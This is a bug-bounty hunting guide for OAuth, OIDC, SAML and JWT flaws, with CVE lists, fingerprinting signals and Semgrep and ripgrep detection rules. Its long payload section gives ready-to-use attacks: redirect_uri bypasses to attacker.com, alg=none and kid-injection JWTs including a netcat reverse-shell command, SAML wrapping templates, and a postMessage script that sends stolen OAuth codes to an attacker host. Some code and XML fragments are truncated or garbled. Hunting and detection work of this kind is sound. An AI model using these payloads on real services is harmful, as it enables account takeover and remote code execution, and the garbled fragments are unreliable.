Crown Jewel Targets
OAuth/OIDC/SAML/JWT is the universal entry point to every enterprise account. A single missing state check or loose redirect_uri regex turns into a one-click ATO and the program rates it Critical because the impact is multiplicative — once you ride someone's session, you have all their data, all their integrations, all their tokens. The 24-month meta has shifted decisively toward six asset types. All CVEs below verify against NVD.
1. MCP servers and agentic LLM OAuth (the new gold rush, 2025-2026 meta). Model Context Protocol servers exploded in adoption with broken OAuth implementations. CVE-2025-4143 (Cloudflare workers-oauth-provider missing redirect_uri validation, fixed v0.0.5) and CVE-2025-4144 (PKCE downgrade in same library) define the opening salvo. Obsidian Security's Square MCP one-click ATO (July-September 2025 disclosures, fixed late September 2025) showed anonymous-cookie injection chained with IdP consent caching. CVE-2025-6514 (mcp-remote OS command exec via crafted authorization_endpoint URL, 558,846 downloads affected, JFrog disclosure) and CVE-2025-49596 (Anthropic MCP Inspector unauth RCE, 38K weekly downloads). FastMCP OAuth Proxy missing resource validation (GHSA-5h2m-4q8j-pqpj) means tokens issued for one MCP server work against any MCP server sharing the same authorization server. Hunt MCP servers first — every developer is wiring up OAuth for the first time and getting it wrong.
2. SAML on enterprise SSO (parser-differential renaissance). CVE-2025-25291 + CVE-2025-25292 (ruby-saml signature wrapping via REXML/Nokogiri parser differential, ahacker1 + Peter Stöckli, GHSL-2024-329 + GHSL-2024-330, GitHub Security Lab) opened a critical hole in any Ruby app using SAML — including unauthenticated admin access to GitLab Enterprise as demonstrated by Gareth Heyes and Zakhar Fedotkin in PortSwigger's "SAML Roulette" research (March 2025). CVE-2025-46572 (passport-wsfed-saml2 SAML signature wrapping, Auth0/Okta), CVE-2025-47949 (samlify SAML signature wrapping, npm samlify < 2.10.0), CVE-2024-45409 (ruby-saml ahacker1 baseline). Pair this with Admidio SAML (GHSA-p9w9-87c8-m235 ACS URL injection, GHSA-25cw-98hg-g3cg signature validation result discarded — both 2026, high severity). Old SAML libraries on enterprise SSO are paying again.
3. JWT algorithm confusion (the regression class). CVE-2026-22817 (Hono JWT middleware RS256→HS256 confusion, CVSS 8.2, Cloudflare Workers/Deno/Bun ecosystem, fixed 4.11.4), CVE-2026-22818 (Hono JWK middleware untrusted header.alg fallback when JWK lacks alg, GHSA-3vhc-576x-3qv4), CVE-2024-54150 (cjwt C library RS/EC/PS algorithm confusion, fixed 2.3.0), CVE-2024-37568 (Authlib HMAC verification with asymmetric public key, milliesolem disclosure), CVE-2025-61152 (python-jose alg=none, disputed but real on verify_signature: False configurations). Every JWT library that doesn't pin algorithms is exploitable. Greppable in 30 seconds with jwt.verify(token, secret) patterns.
4. nOAuth and Entra ID identity confusion (Microsoft pays directly). CVE-2024-21632 (omniauth-microsoft_graph nOAuth, GHSA-5g66-628f-7cvj, fixed 2.0.0) is the canonical disclosed example of Descope's June 2023 nOAuth research — apps trusting the email claim from Entra ID get cross-tenant ATO. Semperis found 9% of Entra Gallery apps still vulnerable in June 2025; estimated 15,000+ SaaS apps still exposed. Descope earned $75K+ in coordinated bounties for the original nOAuth class. CVE-2025-55241 (Dirk-jan Mollema, Entra ID actor token cross-tenant Global Admin impersonation, CVSS 10.0, fixed July 17 2025) extended the class to Microsoft itself — any free Entra tenant could impersonate any user in any other tenant via the legacy Azure AD Graph API not validating the actort token's originating tenant. Hunt every "Sign in with Microsoft" button by registering a free Entra tenant and changing your email.
5. Authorization server implementations on managed identity platforms. CVE-2024-52289 (Authentik OAuth2 regex redirect_uri bypass via unescaped ., Lukas Omegapoint disclosure, fixed 2024.10.3 / 2024.8.5, GHSA-3q5w-6m3x-64gj), CVE-2024-23647 (Authentik PKCE downgrade by removing code_challenge, fixed 2023.10.7), CVE-2023-48228 (Authentik PKCE bypass by omitting code_verifier), CVE-2024-22258 (Spring Authorization Server PKCE downgrade for Confidential Clients, fixed 1.2.3 / 1.1.6 / 1.0.6), CVE-2026-32245 (tinyauth OIDC code not bound to client on token exchange, GHSA-xg2q-62g2-cvcm). These pay because deploying Keycloak/Authentik/Hydra/Auth0/Spring Auth Server is what every mid-size company does — find one bug, hit thousands of downstream apps.
6. GitOps controllers and Kubernetes OIDC. CVE-2025-55190 (Argo CD project API token retrieves repository credentials, CVSS 7.7, GHSA-786q-9hcg-v9ff, fixed 3.1.2/3.0.14/2.14.16/2.13.9), CVE-2026-23990 (Flux Operator Web UI impersonation bypass via empty OIDC claims, fixed 0.40.0, GHSA-4xh5-jcj2-ch8q), CVE-2026-40161 (Tekton git resolver leaks system Git API token to user-controlled serverURL, CVSS 8.4, GHSA-wjxp-xrpv-xpff). These pay the highest because compromising the GitOps controller gives you cluster-wide admin and supply-chain RCE in one chain.
7. The OAuth/SSO supply-chain — Salesloft Drift class. UNC6395 / ShinyHunters used stolen Drift OAuth tokens to exfiltrate 1.5 billion Salesforce records from 760 companies (August 2025). The pivot was: GitHub repo compromise → AWS access → Drift OAuth refresh tokens → Salesforce + Google Workspace. Cloudflare alone had 104 API tokens leaked through Salesforce support cases. Bug bounty correlate: hunt for third-party OAuth integrations with overscoped tokens and no rotation policy. Programs paying for SaaS connector misconfiguration include Atlassian, Notion, Slack, Asana, Monday — all tracked under their respective HackerOne programs.
What pays the most: pre-auth, no user interaction, single click → ATO. Reddit one-click ATO via Sign-in-with-Apple paid Frans Rosén $10,000 (Detectify 2022, HackerOne Reddit program, disclosed at https://infosecwriteups.com/this-is-how-he-could-hijack-reddit-accounts-with-just-one-click-a-10-000-bug-bounty-7fd8d54d5582, replicated pattern still pays mid-2026 on smaller programs). Anmol Singh Yadav's race-condition OAuth token mint paid $8,500 P1 in 2025 on a Fortune 500 cloud platform — disclosed via InfoSec Write-ups https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c. Open redirect → OAuth ATO chain consistently reaches $5K-$15K range when escalating from a "Low" standalone open redirect (DEV.to lucky_lonerusher 2026 disclosed $15K bug bounty program payout https://dev.to/lucky_lonerusher/open-redirect-to-account-takeover-the-exploit-chain-most-hunters-miss-in-2026-3j1g). Vercel's WAF-bypass H1 program pays separately for bypasses against React Server Components endpoints (CVE-2025-66478 / CVE-2025-55182). On GitHub Security Lab: ruby-saml ahacker1 + Peter Stöckli engagement was a paid private bug bounty engagement (amount undisclosed, but classed as "blockbuster" by GitHub). Standalone "missing state parameter on /oauth/callback" pays $200-$2K depending on chainability per disclosed HackerOne corpus pattern — never submit it alone.
Attack Surface Signals
Greppable / fingerprintable / scannable. Every signal below is tied to a specific product class and the resulting CVE candidate.
HTTP-level signals on a live target:
Set-Cookie: oauth2_state=, oauth_state=, __Host-state= → custom OAuth client → state CSRF candidate, test removal/replay
redirect_uri=https%3A%2F%2F in any 302 Location response → redirect_uri validation candidate (test substring/path/userinfo bypasses)
?state=, ?code=, &code=, #access_token=, #id_token= in URL → OAuth callback page — audit for third-party JS leakage (dirty dancing)
WWW-Authenticate: Bearer realm="MCP" or Bearer realm="..." → OAuth Resource Server / MCP server — fingerprint via RFC 9728 metadata at /.well-known/oauth-protected-resource
WWW-Authenticate: ... resource_metadata="..." → MCP 2025-11-25 spec compliant server — discover OAuth flow; test PKCE downgrade and audience confusion
Server: nginx-openid-connect, nginx-auth-request, oauth2-proxy/ → CVE-2025-54576 oauth2-proxy skip_auth_routes query param bypass candidate; CVE-2024-10318 NGINX OIDC nonce session fixation on the nginx-openid-connect family
X-Forwarded-User, X-Auth-Request-User, X-Auth-Request-Email, X-Auth-Request-Groups → reverse-proxy auth (oauth2-proxy / Pomerium / authelia / Authentik forward-auth) — try header injection bypass on backend
- 500/400 errors with
goauthentik, Authentik, pyAuth in body → Authentik — CVE-2024-52289 / CVE-2024-23647 / CVE-2023-48228 candidate
X-Powered-By: Express, Set-Cookie: connect.sid plus /oauth2/authorize → Node OAuth provider — Hono / Passport.js JWT confusion candidate (CVE-2026-22817 / CVE-2025-46572)
- 302 from
/login / /sso to /saml/sso/, /saml2/idp/SSOService, /idp/profile/SAML2/Redirect/SSO, /Shibboleth.sso/ → SAML SP — try ruby-saml CVE-2025-25291/25292 parser differential payload
JS / DOM signals (audit OAuth consent and callback pages for third-party scripts — Frans Rosén dirty-dancing):
<script src="https://www.googletagmanager.com/gtm.js", analytics.js, gtag.js on any page reachable in the OAuth flow → GTM/Analytics URL leak — location.href containing code= or access_token= is sent to third party; combine with response_type switching
window.opener.postMessage(, window.parent.postMessage( without explicit origin (* or no second arg) → postMessage origin check missing — exfil OAuth artifact via cross-origin window
<iframe src="https://chat.example.com/..."> chat widget on OAuth pages → chat-widget postMessage gadget (Detectify case study)
<script src="https://*.fullstory.com/, *.hotjar.com/, *.intercom.io/, *.drift.com/, *.salesloft.com/ on OAuth callback → session-replay tool URL exfil + supply-chain risk (Salesloft Drift August 2025)
react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack in package.json or bundles + OAuth callback → CVE-2025-66478 / CVE-2025-55182 React2Shell on the OAuth callback handler (RCE on backend)
localStorage.getItem("access_token"), localStorage.setItem("oauth_token", sessionStorage["jwt"] in JS → token in webstorage — XSS becomes ATO
Source-code signals (ripgrep one-liners — see Source Review for the full set):
rg -n 'oauth.*callback|/auth/callback|/oauth/callback' --type js --type py --type rb --type go --type java | rg -v 'state'
rg -n 'jwt\.(decode|verify)\([^,)]+\)' --type js --type py --type ts -g '!*test*'
rg -n 'jwt\.decode\([^,]+,\s*verify=False' --type py
rg -n 'REACT_APP_.*SECRET|VITE_.*SECRET|NEXT_PUBLIC_.*SECRET|client_secret\s*[:=]\s*["\x27]' \
-g 'package.json' -g '*.env*' -g 'src/**/*.{js,jsx,ts,tsx}'
rg -n 'user.*\.email|claims\.email|userInfo\.email|profile\.email|id_token\.email' \
--type js --type py --type rb --type go -g '!*test*' | rg 'find|create|update|merge|upsert|getOrCreate'
rg -n 'response_type=[^"]*token|response_mode=fragment|window\.location\.hash.*token' \
--type js --type ts
rg -n 'redirect_uri.*\.(startsWith|contains|matches|test|search|indexOf)' --type js --type ts --type py
rg -n 'redirect_uri\s*[=~][^=]*regex|RegExp.*redirect' --type js --type rb -- py
Insertion Point Taxonomy
Every place attacker-controlled data flows into OAuth/OIDC/SAML/JWT processing — your hunting checklist:
- URL query —
client_id, redirect_uri, response_type, response_mode, scope, state, nonce, code_challenge, code_challenge_method, prompt, display, id_token_hint, login_hint, acr_values, resource (RFC 8707), audience. Example: append &response_type=token id_token to a code-flow auth URL → Detectify dirty-dancing fragment leak.
- URL fragment —
#access_token=, #id_token=, #code= from implicit flow or response_mode=fragment. JS on the callback page reads location.hash; if any third-party script also reads it → leak.
- Headers —
Authorization: Bearer, Authorization: DPoP, X-Forwarded-User, X-Auth-Request-Email, custom OIDC headers from reverse proxy. Try header injection at the backend after a reverse-proxy strips them. Also Origin: for CORS bypass on OAuth endpoints (Grab partner-api H1 #3631550 — null Origin reflected with credentials).
- Body (form-urlencoded) —
/oauth/token body parameters: grant_type, code, code_verifier, client_id, client_secret, refresh_token, redirect_uri, subject_token, subject_token_type, actor_token (RFC 8693 token exchange). PKCE downgrade → drop code_verifier. Race condition → Turbo Intruder 2 parallel exchanges with same code.
- Body (JSON) — Dynamic Client Registration body:
client_name, redirect_uris, grant_types, token_endpoint_auth_method, jwks, jwks_uri, software_statement. SSRF via pointing to internal IPs; supply-chain via .
Step-by-Step Hunting Methodology
-
Map the OAuth flow with Burp. Log into the application, watch every request to /oauth/, /auth/, /saml/, /sso/, /.well-known/, /connect/, /oidc/. Record client_id, redirect_uri, response_type, response_mode, state, nonce, code_challenge, code_challenge_method. If state is missing → test CSRF immediately. If code_challenge is missing on a public client → flag PKCE absence (CVE-2024-23647 family). If you see SAML, capture both <AuthnRequest> and <Response> bodies — these go to the SAML wrapping tests later.
-
Fingerprint the authorization server. Hit /.well-known/openid-configuration, /.well-known/oauth-authorization-server, /.well-known/oauth-protected-resource, /oauth/authorize, /oauth/.well-known/jwks.json, /saml/metadata, /.well-known/saml-configuration. The software field, issuer, supported grant types (look for password ROPC, client_credentials, urn:ietf:params:oauth:grant-type:token-exchange), token_endpoint_auth_methods_supported, code_challenge_methods_supported — all of these reveal the AS implementation. Authentik metadata leaks goauthentik strings; Keycloak leaks realm-shaped paths; Auth0 leaks *.auth0.com; Cognito has the cognito-idp.<region>.amazonaws.com issuer. If you see password in grant_types_supported and the AS is internet-exposed → ROPC credential spray (Grab H1 #3635703 concedoidc).
-
Test redirect_uri validation — the 12 bypass families. Send the original auth request to Burp Repeater. Mutate redirect_uri through this sequence: (a) substring https://target.com.attacker.com; (b) userinfo ; (c) IDN (Cyrillic а); (d) path traversal ; (e) URL encoding ; (f) double encoding ; (g) fragment ; (h) localhost ; (i) IPv6 (Google bypass per @weirdmachine 2025); (j) regex unescaped dot (CVE-2024-52289 Authentik); (k) wildcard subdomain takeover; (l) any open redirect on the same domain with .
Payload & Detection Patterns
Sub-technique A — redirect_uri bypass primitives
# A.1 Substring/lookalike host bypass (Grab H1 #3636415 mallUrl pattern)
?redirect_uri=https://target.com.attacker.com/oauth/callback
?redirect_uri=https://attacker.com/?target.com=1
?redirect_uri=https://target-com.attacker.com
?redirect_uri=https://target.com.evilsubdomain.com
?redirect_uri=https://targetcom.attacker.com
# A.2 Userinfo bypass (RFC 3986 §3.2.1 — host parser confusion)
?redirect_uri=https://target.com@attacker.com/oauth/callback
?redirect_uri=https://target.com:80@attacker.com
?redirect_uri=https://attacker.com#@target.com
?redirect_uri=https://attacker.com?@target.com
# A.3 IPv6 + userinfo — Google bypass (@weirdmachine HackerNoon 2025)
?redirect_uri=http://[::1]@[::1]@attacker.com/
?redirect_uri=http://[::ffff:127.0.0.1]@attacker.com/
?redirect_uri=https://[2606:4700::1]@attacker.com/
# A.4 Path traversal (Pixiv H1 #1861974 $2000)
?redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/[attacker_product_id]
?redirect_uri=https://target.com/callback/..%2F..%2Fanything?evil=1
?redirect_uri=https://target.com/callback/%2e%2e/%2e%2e/
# A.5 IDN homograph (HackTricks OAuth wiki)
?redirect_uri=https://tаrget.com/oauth-callback # 'a' is U+0430 Cyrillic
?redirect_uri=https://target.cоm/ # 'o' is U+043E Cyrillic
?redirect_uri=https://xn--trget-zoa.com/ # punycode-only validation
# A.6 Regex bypass — unescaped dot (CVE-2024-52289 Authentik, Lukas Omegapoint)
?redirect_uri=https://app0example.com/oauth2/callback # if regex was https://app.example.com
?redirect_uri=https://app-example.com/oauth2/callback
?redirect_uri=https://appXexample.com/oauth2/callback
# A.7 Wildcard subdomain takeover — find dangling DNS in *.target.com first
?redirect_uri=https://abandoned-subdomain.target.com/oauth-callback
# A.8 Open-redirect chain on whitelisted host (DEV.to lucky_lonerusher 2026, $15K paid)
?redirect_uri=https://target.com/logout?next=https://attacker.com/grab
?redirect_uri=https://target.com/redirect?url=https://attacker.com
?redirect_uri=https://target.com/api/v1/redirect?to=https://attacker.com
Sub-technique B — state / CSRF / response-type manipulation (dirty dancing)
# B.1 Response-type switching — fragment leakage of code
&response_type=code&response_mode=query # baseline (good)
&response_type=token&response_mode=fragment # implicit, leaks #access_token
&response_type=code,id_token&response_mode=fragment # hybrid → code lands in fragment
&response_type=code id_token token&response_mode=fragment # OIDC hybrid all-in-fragment
&response_type=token&response_mode=form_post # form_post can be replayed if attacker controls callback page
# B.2 State parameter attacks (RFC 6749 §10.12)
# B.2.a Drop state entirely — CSRF
&state= # empty
# omitted entirely
# B.2.b Fixate state — Anmol's H1 corpus pattern, also bugbounty.ch May 2023 case
&state=attacker_known_value
# B.3 Force browser swap (SySS Jonas Primbs Browser Swapping IETF 124, 2025-11)
# Attacker initiates flow in Browser A, sends auth URL to victim, victim completes in Browser B
# AS sends code to client; client rejects state mismatch but doesn't invalidate code → attacker uses code
# B.4 nonce removal — OIDC ID Token replay (CVE-2024-10318 NGINX OIDC)
&nonce= # empty
# omitted on subsequent replay
# B.5 prompt=none silent re-authentication (use after one consent for unlimited code minting)
&prompt=none&max_age=0
Sub-technique C — JWT attack primitives
# C.1 alg=none variants (CVE-2025-61152 python-jose, CVE-2026-22817 Hono case-bypass)
{"alg":"none","typ":"JWT"}.{"sub":"victim","role":"admin"}.
{"alg":"None","typ":"JWT"}...
{"alg":"nOnE","typ":"JWT"}...
{"alg":"NULL","typ":"JWT"}...
# C.2 RS256 → HS256 algorithm confusion (CVE-2024-54150 cjwt, CVE-2024-37568 authlib)
# Step: extract public key from JWKS endpoint /.well-known/jwks.json
# Step: jwt_tool -X k -pk public.pem -p attacker_payload.txt → forge HS256 token signed with PEM as secret
# C.3 kid injection (Hacking JWT Tokens corpus refs in /tmp corpus)
{"alg":"HS256","kid":"../../../dev/null","typ":"JWT"} # forces empty key → sign with empty string
{"alg":"HS256","kid":"key' UNION SELECT 'attacker_key' --","typ":"JWT"} # SQLi in kid lookup
{"alg":"HS256","kid":"|nc attacker.com 4444 -e /bin/sh","typ":"JWT"} # command injection
# C.4 jku redirection (Hacking JWT Tokens: jku Claim Misuse — corpus titles)
{"alg":"RS256","jku":"https://attacker.com/jwks.json","kid":"attacker"}
{"alg":"RS256","jku":"https://target.com#@attacker.com/jwks.json","kid":"attacker"} # userinfo bypass on jku
# C.5 Audience confusion / cross-service relay (CVE-2025-27370/27371 OpenID Federation)
{"aud":"","iss":"https://target/idp"} # empty audience → many libs accept all
{"aud":["target","alt-service"],"iss":"https://target/idp"} # token replays across services
# C.6 Embedded JWK (Hacking JWT Tokens: JWS Standard for JWT)
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_n>","e":"AQAB"}} # libs that trust embedded JWK = forge anything
# C.7 Entra ID actor token (CVE-2025-55241 Dirk-jan Mollema)
# Outer token: legitimate-looking request to victim tenant SharePoint with victim_oid
# Inner token in actort claim: attacker's own free-tenant token
# Result: cross-tenant Global Admin impersonation
# C.8 njwt buffer poisoning (corpus: `njwt` allocates uninitialized Buffers when number is passed in base64urlEncode)
require('njwt').create({sub:'victim'}, 0).compact() # number arg → uninitialized buffer leak
Sub-technique D — SAML signature wrapping primitives (XSW1 through XSW8 + ruby-saml class)
<samlp:Response>
<saml:Assertion ID="evil"><Subject><NameID>attacker</NameID></Subject>
<ds:Signature>...original ref to legit ID...</ds:Signature>
<saml:Assertion ID="legit"><Subject><NameID>victim</NameID></Subject></saml:Assertion>
</saml:Assertion>
</samlp:Response>
<!DOCTYPE samlp:Response [
<!ATTLIST saml:Assertion ID ID #IMPLIED>
<!ENTITY x "data">
]>
<samlp:Response xmlns:ds="evil-ns">
<>...
...
attacker
...legit
attacker@target.com.victim@target.com
Sub-technique E — PKCE bypass primitives
# E.1 Drop code_verifier from token request (CVE-2023-48228 Authentik)
POST /oauth/token
grant_type=authorization_code&code=<code>&client_id=<id>
# (no code_verifier)
# E.2 Drop code_challenge from authorization request (CVE-2024-23647 Authentik, Spring CVE-2024-22258)
GET /oauth/authorize?response_type=code&client_id=<id>&redirect_uri=<uri>
# (no code_challenge / code_challenge_method)
# E.3 Cloudflare workers-oauth-provider bypass (CVE-2025-4144 — fixed in v0.0.5)
# Auth request without code_challenge → token request WITH code_verifier was accepted
GET /authorize?response_type=code&client_id=...&redirect_uri=...
# (no code_challenge)
POST /token
grant_type=authorization_code&code=<code>&code_verifier=anything_random
# E.4 PKCE bypass via attacker-controlled URL (trace37 labs Feb 2026)
# Attacker iframes the SSO authorize URL; supplies own code_challenge; knows code_verifier
# Captures the resulting code via MessagePort injection or parent.postMessage
# PKCE only protects in-transit; not against initiation-control
<iframe src="https://idp.target.com/authorize?...&code_challenge=ATTACKER_HASH&code_challenge_method=S256"></iframe>
window.addEventListener('message', e => fetch('https://attacker.com/leak?'+e.data));
# E.5 Authorization code injection (RFC 9700 §4.5.3.1)
# Attacker initiates own session, gets own code; injects victim's code into attacker's session
# Even with PKCE, if attacker controls victim's code_challenge value → injection works (RFC 9700 §4.5.3.2)
Sub-technique F — open redirect → OAuth ATO chains
# F.1 Logout redirect (lovable.dev H1 #3581815, post_logout_redirect_uri family)
/logout?redirect=https://attacker.com
/oauth/end_session?post_logout_redirect_uri=https://attacker.com
/saml/slo?RelayState=https://attacker.com # H1 #2263044 user_saml
# F.2 Login next-parameter post-auth landing (commonly named: next, returnTo, returnUrl, callback, redirect, dest, redir, url)
/login?next=https://attacker.com&continue=https://attacker.com
/auth/login?ReturnUrl=https://attacker.com # bountysecurity.ai .NET ReturnUrl pattern, ovofinansial CRA pattern
/sso?returnTo=https://attacker.com
# F.3 Path-traversal bypass (lovable.dev H1 #3599248 fix bypass via /..//)
/..//logout?redirect=https://attacker.com # bypass naive same-origin check
/logout?redirect=//attacker.com # protocol-relative → browsers add current scheme
/logout?redirect=https:attacker.com # missing slashes — some libs accept
# F.4 OAuth-callback chain — open redirect on the redirect_uri's host
# 1. Find redirect_uri = https://app.target.com/oauth/callback (whitelisted)
# 2. Find open redirect at https://app.target.com/redir?url=ATTACKER (same host, not OAuth-related)
# 3. Set redirect_uri = https://app.target.com/redir?url=https://attacker.com/grab
# 4. AS validates "starts with target.com" → 302 to /redir → 302 to attacker.com with code
# F.5 Referer-leak chain (image injection on rockstargames H1 #314814, semrush #314814)
# Set redirect_uri to an HTML page on whitelisted domain that loads <img src="https://attacker.com/...">
# Referer header to attacker.com contains the OAuth code/token in the URL of the hosting page
Source Code Review Patterns
Semgrep rules (≥3, copy-pasteable YAML)
rules:
- id: oauth-state-not-validated
pattern-either:
- pattern: $REQ.query.code
- pattern: $REQ.query['code']
pattern-not-inside: |
if (... $REQ.query.state ...) { ... }
message: |
OAuth callback handler reads `code` without validating `state` parameter.
Per RFC 6749 §10.12, state MUST be validated against the value stored
at flow initiation. Missing this check = CSRF on OAuth linking, leading
to account takeover (bugbounty.ch May 2023, H1 #850022 launchpad CSRF).
severity: ERROR
languages: [javascript, typescript]
rules:
- id: jwt-decode-without-algorithm-pin
pattern-either:
- pattern: jwt.verify($TOKEN, $SECRET)
- pattern: jwt.decode($TOKEN, verify=False)
- pattern: jws.verify($TOKEN, $SECRET)
message: |
JWT verification without explicit `algorithms: ["RS256"]` allowlist.
Vulnerable to alg=none (CVE-2025-61152), RS256→HS256 confusion
(CVE-2024-37568, CVE-2026-22817 Hono CVSS 8.2). Always pin algorithms
explicitly: jwt.verify(token, key, {algorithms: ["RS256"]}).
severity: ERROR
languages: [javascript, typescript, python]
rules:
- id: oauth-email-as-user-identifier
pattern-either:
- pattern: User.findOne({email: $CLAIMS.email})
- pattern: User.find_or_create_by(email: $CLAIMS.email)
- pattern: db.users.where(email: $CLAIMS["email"]).first
message: |
Email claim used as primary user identifier. Vulnerable to nOAuth
(CVE-2024-21632 omniauth-microsoft_graph, Descope 2023). Microsoft
Entra emits unverified email claims by default for pre-June-2023 apps.
Use the immutable `sub` claim or Entra's `oid` claim instead.
For Microsoft tokens, also check `xms_edov` claim before trusting email.
severity: ERROR
languages: [ruby, javascript, typescript, python, go]
rules:
- id: oauth-redirect-uri-substring-validation
pattern-either:
- pattern: $URI.startsWith($ALLOWED)
- pattern: $URI.includes($ALLOWED)
- pattern: $ALLOWED in $URI
- pattern: re.match(r'.*' + $ALLOWED + '.*', $URI)
metavariable-regex:
metavariable: $URI
regex: .*redirect.*
message: |
redirect_uri validated by substring match. Bypass with userinfo
`https://allowed.com@attacker.com`, IDN homograph, or subdomain
`https://allowed.com.attacker.com`. Per RFC 6749 §3.1.2.2, exact-match
against pre-registered URIs is required. Authentik CVE-2024-52289
(regex with unescaped dot) is the disclosed real-world example.
severity: ERROR
languages: [javascript, typescript, python, ruby, go]
rules:
- id: oidc-code-not-bound-to-client
pattern: |
def $TOKEN_HANDLER(...):
...
$ENTRY = code_storage.get($CODE)
...
return generate_token($ENTRY.user, ...)
pattern-not: |
if $ENTRY.client_id != $REQ.client_id: ...
message: |
Authorization code redeemed without verifying the redeeming client
matches the client the code was issued to. Per RFC 6749 §4.1.3,
this binding is mandatory. CVE-2026-32245 tinyauth had this exact
bug — refresh-token flow had the check, auth-code flow did not.
severity: ERROR
languages: [python, go, ruby, javascript]
rules:
- id: saml-signature-validate-discarded
pattern-either:
- pattern: $OBJ.validateSignature(...)
- pattern: validate_signature(...)
pattern-not-inside: |
$RESULT = ...
message: |
SAML signature validation result discarded — Admidio CVE-style
(GHSA-25cw-98hg-g3cg). validateSignature() returns string-on-error
instead of throwing, so unsigned/forged AuthnRequests slip through.
Always assign the result and check explicitly: `valid = validate(...)`.
severity: ERROR
languages: [php, python, ruby, javascript]
ast-grep patterns (≥3, language-tagged)
ast-grep --pattern 'jwt.decode($TOKEN, $KEY, $$$OPTS)' --lang javascript \
| rg -L 'audience|aud:'
ast-grep --pattern 'token.User{ID: $$$, Email: $EMAIL}' --lang go
ast-grep --pattern '$URI.startsWith($PREFIX)' --lang javascript \
| rg redirect_uri
ast-grep --pattern 'assertion[0]' --lang typescript
ast-grep --pattern 'jwk({ jwks_uri: $URI })' --lang typescript
ast-grep --pattern 'if ($CODE_VERIFIER) { verify_pkce($$$) }' --lang python
ripgrep one-liners (≥3)
rg -n '/oauth/callback|/auth/callback|/oidc/callback' --type js --type py --type rb -l \
| xargs rg -L 'state'
rg -n 'verify=False|noVerify|skipVerification|verify:\s*false' --type py --type js --type ts --type go
rg -n 'REACT_APP_.*(SECRET|KEY)|VITE_.*(SECRET|KEY)|NEXT_PUBLIC_.*(SECRET|KEY)' \
-g 'package.json' -g '*.env*' -g 'src/**' -g 'public/**'
rg -n 'find_by.*email|findOne.*email|getOrCreate.*email|find_or_create_by.*email' \
--type rb --type js --type py --type go | rg -i 'oauth|oidc|sso|claim|userinfo'
rg -n "require ['\"]rexml" --type rb -l | xargs rg -l "require ['\"]nokogiri"
rg -n "response_type[\"']?\s*[:=]\s*[\"']?token|allow_implicit_flow\s*[:=]\s*true|allowImplicitFlow:\s*true" \
--type js --type ts --type py --type rb
rg -n 'id_token' --type js --type py --type go -l | xargs rg -L
rg -n -- go -- js -- py -- rb | rg -B5 -A20 | rg -L
CodeQL hint
CodeQL has shipped tutorials for OAuth/SAML auth bypass classes — the relevant base queries are js/insufficient-key-size, js/jwt-missing-algorithm-restriction, and py/jwt-missing-algorithm. Sketch a custom predicate for nOAuth: a RemoteFlowSource reaching a User.findBy(email=...) sink without an intermediate verification of email_verified or xms_edov claim should raise a query. The GitHub Security Lab securitylab.github.com/advisories/GHSL-2024-329_GHSL-2024-330_ruby-saml writeup documents the parser-differential predicate that found CVE-2025-25291 — adapt it as a generic XmlParser1.parse(input).descendant() != XmlParser2.parse(input).descendant() taint flow.
Modern Meta — Cloud-Native, CI/CD, OSS Pipeline
OAuth/OIDC/SAML/JWT primitives apply across the entire cloud-native stack — not just web apps.
-
GitHub Actions: workflows that authenticate to cloud via OIDC use id-token: write permission. Hunt for pull_request_target workflows that compose ${{ github.event.pull_request.head.repo.full_name }} into a script that requests OIDC tokens — script injection escalates to cloud IAM. The actions/github-script action mints OIDC tokens to any audience the workflow asks for; if a downstream workflow uses untrusted audience from PR input, it becomes a cross-org token. Salesloft Drift August 2025 incident showed PAT in GitHub repo + AWS via OIDC + Drift OAuth tokens as the supply-chain entrypoint that hit Cloudflare, Palo Alto, Zscaler and 757 others.
-
GitLab CI: CI_JOB_JWT / CI_JOB_TOKEN are JWT credentials. CI_JOB_JWT supports OIDC federation to AWS / GCP / Vault. If a job's audience claim is unrestricted (sub_pattern: project_path:*), any project in the GitLab instance can impersonate. Hunt for cloud trust policies with iss=https://gitlab.com but no sub constraint. Also: GitLab's own CVE-2025-25291/25292 ruby-saml family means GitLab Enterprise SAML SSO with parser differentials is exploitable end-to-end (PortSwigger SAML Roulette demonstrated unauthenticated admin).
-
Jenkins: OAuth/OIDC plugins (oic-auth, azure-ad, github-oauth) with relaxed email matching = nOAuth at scale across CI infrastructure. Jenkins script-console exposure via authenticated OIDC group claim from attacker-controlled IdP becomes RCE on the controller. Hunt every Jenkins login page for OIDC support and test with a self-hosted IdP.
-
ArgoCD / Flux: CVE-2025-55190 Argo CD project token leak — a token with projects, get retrieves repository credentials. CVE-2026-23990 Flux Operator — empty OIDC email/groups claims bypass impersonation, requests run as the Flux service account. CVE-2022-31034 Argo CD insecure entropy in PKCE/OIDC params (still affects unpatched 2.x deployments). The pattern: GitOps controllers consume OIDC for human auth and use service tokens for machine actions; mixing these scopes loses the human's scope-restriction.
-
Kubernetes: kubelet exposed at :10250 with anonymous auth = RBAC bypass; if cluster uses OIDC for , the OIDC token's claim must match . Many clusters set in trust → cross-cluster token replay. ServiceAccount projected tokens (TokenRequest API) include audience by default; any pod that reads file-mounted projected tokens for non-K8s use cases is leaking credentials with cluster-scoped usability. git resolver leaks PAT to attacker-controlled .
Chains & Multi-Bug Templates
Chain 1 — Open Redirect → OAuth Token Theft → Account Takeover (the universal $5K-$15K chain)
- Bug A: Open redirect on
https://app.target.com/redirect?url= (CWE-601), filed standalone = $150 Low
- Bug B: OAuth
redirect_uri registered as https://app.target.com/oauth/callback with allowlist by host prefix
- Bug C: Set
redirect_uri=https://app.target.com/redirect?url=https://attacker.com — AS validates host prefix, browser then follows the in-host redirect to attacker
- Outcome: Attacker captures victim's
code or access_token, exchanges for session, full ATO including admin
- Bounty range: $5,000-$15,000 (DEV.to lucky_lonerusher 2026 reports $15K confirmed payout; H1 corpus consistently mid-four-figure to low-five-figure)
- Disclosure source: HackerOne #665651 (Stealing Users OAuth Tokens through redirect_uri parameter), HackerOne #770548 (Insecure OAuth redirection at admin.8x8.vc, $High), Pixiv H1 #1861974 ($2,000)
